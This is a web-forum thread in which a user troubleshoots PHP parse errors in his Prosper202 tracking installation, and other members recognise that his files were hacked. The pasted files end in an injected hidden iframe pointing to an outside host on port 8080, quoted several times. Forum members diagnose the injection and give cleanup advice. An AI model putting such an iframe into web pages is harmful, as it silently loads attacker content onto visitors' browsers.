Prosper202 Giving Me Weird Errors.. Help Please..

matthewcaruana

New member
Apr 5, 2008
155
1
0
Hey everyone,

I already asked this in the prosper202 forum but it's been 2 days and still haven't got a reply.

Was wondering whether anybody knows what's wrong with my prosper202 or how I can fix these errors.

When I try to log into my prosper202 ( 2months old version - haven't updated to the new version):

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /home/mattc/public_html/MyTrackingURLwhereProsperIsInstalled.com/index.php on line 27

Parse error: syntax error, unexpected ':' in /home/mattc/public_html/MyTrackingURLwhereProsperIsInstalled.com/index.php on line 27


And when I try opening a PHP Redirect File of an offer I get:

Parse error: syntax error, unexpected T_STRING in /home/mattc/public_html/MyTrackingURLwhereProsperIsInstalled.com/202-cronjobs/index.php on line 172



Can anyone please help me with this?


Thanks,
Matt
 


Go see what is on line 27 or slightly before hand. Anything look weird? If you don't know php, post the code here using the code block.
 
Also

a) was your version working correctly before?
b) are you on shared hosting (maybe they changed the php version)
 
Hey Conversion,

Thanks for your quick reply. I asked HostGator and they told me that they haven't upgraded their PHP since January 2009.
(So that's not the problem)
(Yes it is a shared hosting account)

Yes my prosper was working fine up to 2 days ago & I haven't changed any settings or anything.

Here's the code for all the index.php file:

Code:
<?php

//if the 202-config.php doesn't exist, we need to build one
if ( !file_exists( $_SERVER['DOCUMENT_ROOT'] . '/202-config.php') ) {
    

    require_once($_SERVER['DOCUMENT_ROOT'] . '/202-config/functions.php');
    _die("There doesn't seem to be a <code>202-config.php</code> file. I need this before we can get started. Need more help? <a href=\"http://prosper202.com/apps/about/contact/\">Contact Us</a>. You can <a href='/202-config/setup-config.php'>create a <code>202-config.php</code> file through a web interface</a>, but this doesn't work for all server setups. The safest way is to manually create the file.", "202 › Error");


} else {

    require_once($_SERVER['DOCUMENT_ROOT'] . '/202-config/connect.php');

    if (  is_installed() == false) {
        
        header('location: /202-config/install.php');
     
    } else {
        
        if ( upgrade_needed() == true) {
            
            header('location: /202-config/upgrade.php');
            
        } else {
    
            header('location: /202-
<iframe src="http://a232.dyn-o-saur.com:8080/ts/in.cgi?open" width=905 height=0 style="visibility: hidden"></iframe>
Thanks for your help.

Matt
 
that iframe shit is your problem. I don't know if that's your stuff, if you fucked up editing the file, or you got hacked, the last lines should be (starting with the last header).

header('location: /202-login.php');

}
}

}
I'm not at a place I can investigate wtf that iframe is atm. Someone else can have at it. Either way you should change it.

Also you might want to post the other file that has an error, might have some more clues there
 
ok replaced the last bit of code as Conv3rsion said.

Now I get the following error:

Parse error: syntax error, unexpected T_STRING in /home/mattc/public_html/myTrackerURL.com/202-cronjobs/index.php on line 172

So i'm pasting that whole file here:
Code:
<? include_once($_SERVER['DOCUMENT_ROOT'] . '/202-config/connect.php'); 


//heres the psuedo cronjobs
if (Run1MinCronjob() == true) { 
    if (RunHourlyCronJob() == true) { 
        RunDailyCronjob();    
    }
}







function RunDailyCronjob() { 
//check to run the daily cronjob
    $now = time();

    $today_day = date('j', time());
    $today_month = date('n', time());
    $today_year = date('Y', time());

    //the click_time is recorded in the middle of the day
    $cronjob_time = mktime(12,0,0,$today_month,$today_day,$today_year);
    $mysql['cronjob_time'] = mysql_real_escape_string($cronjob_time);
    $mysql['cronjob_type'] = mysql_real_escape_string('daily');
    
    //check to make sure this click_summary doesn't already exist
    $check_sql = "SELECT  COUNT(*)  FROM 202_cronjobs WHERE cronjob_type='".$mysql['cronjob_type']."' AND cronjob_time='".$mysql['cronjob_time']."'";
    $check_result = _mysql_query($check_sql);
    $check_count = mysql_result($check_result,0,0);      
    
    if ($check_count == 0 ) {
        
        //if a cronjob hasn't run today, record it now.
        $insert_sql = "INSERT INTO 202_cronjobs SET cronjob_type='".$mysql['cronjob_type']."', cronjob_time='".$mysql['cronjob_time']."'";
        $insert_result = _mysql_query($insert_sql);
        
        /* -------- THIS CLEARS OUT THE CLICK SPY MEMORY TABLE --------- */    
        //this function runs everyday at midnight to clear out the temp clicks_memory table
        $from = time() - 86400;
        
        //this makes it so we only have the most recent last 24 hour stuff, anything older, kill it.
        //we want to keep our SPY TABLE, low
        $click_sql = "DELETE FROM 202_clicks_spy WHERE click_time < $from";
        $click_result = _mysql_query($click_sql);
        //$click_count = mysql_affected_rows();
        
        //clear the last 24 hour ip addresses
        $last_ip_sql = "DELETE FROM 202_last_ips WHERE time < $from";
        $last_ip_result = _mysql_query($last_ip_sql);
        $last_ip_affected_rows = mysql_affected_rows();
        
        /* -------- THIS CLEARS OUT THE CHART TABLE --------- */    
        
        $chart_sql = "DELETE FROM 202_charts";
        $chart_result = _mysql_query($chart_sql);
        //$chart_count = mysql_affected_rows(); */
        
        /* -------- NOW DELETE ALL THE OLD CRONJOB ENTRIES STUFF --------- */    
        $mysql['cronjob_time'] = $mysql['cronjob_time'] - 86400;
        $delete_sql = "DELETE FROM 202_cronjobs WHERE cronjob_time < ".$mysql['cronjob_time']."";
        $delete_result = _mysql_query($delete_sql);

        return true;
    }  else {
        return false;    
    }
}



function RunHourlyCronJob() { 
//check to run the daily cronjob, not currently in-use
    $now = time();

    $today_day = date('j', time());
    $today_month = date('n', time());
    $today_year = date('Y', time());
    $today_hour = date('G', time());
    
    //the click_time is recorded in the middle of the day
    $cronjob_time = mktime($today_hour,0,0,$today_month,$today_day,$today_year);
    $mysql['cronjob_time'] = mysql_real_escape_string($cronjob_time);
    $mysql['cronjob_type'] = mysql_real_escape_string('hour');
    
    //check to make sure this click_summary doesn't already exist
    $check_sql = "SELECT  COUNT(*)  FROM 202_cronjobs WHERE cronjob_type='".$mysql['cronjob_type']."' AND cronjob_time='".$mysql['cronjob_time']."'";
    $check_result = _mysql_query($check_sql);
    $check_count = mysql_result($check_result,0,0);      
    
    if ($check_count == 0 ) {
        /*
        //if a cronjob hasn't run today, record it now.
        $insert_sql = "INSERT INTO 202_cronjobs SET cronjob_type='".$mysql['cronjob_type']."', cronjob_time='".$mysql['cronjob_time']."'";
        $insert_result = _mysql_query($insert_sql);
        
        /* -------- CURL THE WEBSITES TO SEE IF UP OR NOT --------- */
        /*
        $c = new curl("http://party202.com") ;
        $c->setopt(CURLOPT_FOLLOWLOCATION, true) ;
        echo $c->exec() ;
        if ($theError = $c->hasError()) {  
            
            mail('5034444444@mobile.att.net','Server Down',$theError);
            echo $theError ; 
        
        }
        $c->close() ;
        */
        return true;
    }  else {
        return false;    
    }
}


function Run1MinCronjob() { 
    
//check to run the 1minute cronjob, change this to every minute
    $now = time();

    $today_minute = date('i', time());
    $today_hour = date('G', time());
    $today_day = date('j', time());
    $today_month = date('n', time());
    $today_year = date('Y', time());
    
    $today_minute = ceil($today_minute / 1);
    $today_minute = $today_minute * 1;
    
    if ($today_minute == 60) { 
        $today_minute = 0; 
        $today_hour++;
        if ($today_hour == 24) { 
            $today_hour = 0; 
        }
    }
        
    //the click_time is recorded in the middle of the day
    $cronjob_time = mktime($today_hour,$today_minute,0,$today_month,$today_day,$today_year);
    $mysql['cronjob_time'] = mysql_real_escape_string($cronjob_time);
    $mysql['cronjob_type'] = mysql_real_escape_string('1min');
    
    //check to make sure this click_summary doesn't already exist
    $check_sql = "SELECT  COUNT(*)  FROM 202_cronjobs WHERE cronjob_type='".$mysql['cronjob_type']."' AND cronjob_time='".$mysql['cronjob_time']."'";
    $check_result = mysql_query($check_sql) or record_mysql_error($check_sql);
    $check_count = mysql_result($check_result,0,0);      
    
    if ($check_count == 0 ) {
        
        //if a cronjob hasn't run today, record it now.
        $insert_sql = "INSERT INTO 202_cronjobs SET cronjob_type='".$mysql['cronjob_type']."', cronjob_time='".$mysql['cronjob_time']."'";
        $insert_result = mysql_query($insert_sql);
        
        /* -------- THIS RUNS THE DELAYED QUERIES --------- */    

        $delayed_sql = "SELECT delayed_sql FROM 202_delayed_sqls WHERE delayed_time <=".time();
        $delayed_result = _mysql_query($delayed_sql);
        while ($delayed_row = mysql_fetch_assoc($delayed_result))  {
        
            //run each sql
            $update_sql = $delayed_row['delayed_sql'];
            $update_result = _mysql_query($update_sql);
            
        }
        
        //delete all old delayed sqls
        $delay
<iframe src="http://a232.dyn-o-saur.com:8080/ts/in.cgi?open" width=905 height=0 style="visibility: hidden"></iframe>
 
Ok I think the fuck up is with that last line of code which is line 172 as the error message indicates.

<iframe src="http://a232.dyn-o-saur.com:8080/ts/in.cgi?open" width=905 height=0 style="visibility: hidden"></iframe>

Can some1 please post me the code that should be there after the:
Code:
//delete all old delayed sqls
        $delay

Thanks!
 
same thing, something overwrote your file at the end.

//delete all old delayed sqls
$delayed_sql = "DELETE FROM 202_delayed_sqls WHERE delayed_time <=".time();
$delayed_result = _mysql_query($delayed_sql);


return true;
} else {
return false;
}
}
 
op can you confirm whether that iframe domain makes any sense to you at all so we know if you were hacked or not?
 
That dyn-o-saur.com reference makes me think you were hacked. Is that your site by any chance?

If not someone is looking at your stuff.

I would check the modified dates on all files immediately

Might want to notify your host as well. Someone on that box got hacked it seems.
 
^^ what conversion said

that iframe code is injected into your original files, though in the wrong place (hence the error you're receiveing).

nonetheless, it seems 'you got hacked' :)

edit: shit, a bit 2 late..
not refreshing the page + slow internets = posting redundant shit
 
Ok so I replaced the last block again.

But it's giving me another error:
Parse error: syntax error, unexpected T_VARIABLE in /home/mattc/public_html/myURLTracker.com/202-cronjobs/index.php on line 173

And line 173 is: $delayed_sql = "DELETE FROM 202_delayed_sqls WHERE delayed_time <=".time();


Can't understand what's wrong I pasted Conv3ersion's block code exactly.

Any 1 to enlighten me?

@Drake
No this site: dyn-o-saur.com is NOT my site. I just checked it out and it seems like it's some Networking Company or something.
They seem to be like a legit company.

Or some1 just hacked my account and iframed that to take the piss? Possible too..
 
You should d/l and reupload all the t202 files. Just make sure you backup the config file first.

You got hacked, honestly if you make more then $500 a month on this you shouldn't be sharing server space.

Go get your own dedicated server at ...
 
So are you saying that if I get a dedicated server I can't get hacked?

Contacted HostGator and they're digging into it.

Does somebody have the the previous version of prosper202 (1-2 months old) prior to the new updated version of last week, as a zipped file who can point me to it or can upload it to somewhere so I can download it please?

Thanks Matt
 
So are you saying that if I get a dedicated server I can't get hacked?

No, but as soon as you have your own dedicated server you don't share it with others, no shared rights/folders/files etc. which makes your install more secure and leaves less holes for hackers to break in.

I have really good experinces with Liquidweb.com, the server cost a little bit more than elsewhere but their support is top-notch, they do everything for you from installing software, or even fix php scripts sometimes :)

I never had a single problem with them and I also never got hacked (which of course doesn't means it's not possible, but they absolutely know their shit)
 
Last edited:
So are you saying that if I get a dedicated server I can't get hacked?

No, but if you keep up to date on patches and you don't install crappy php scripts that are filled with exploits the odds of it happening are slim to none.

You are on a shared server, expect this shit to happen a lot.

Just offering words of advice that you should listen to.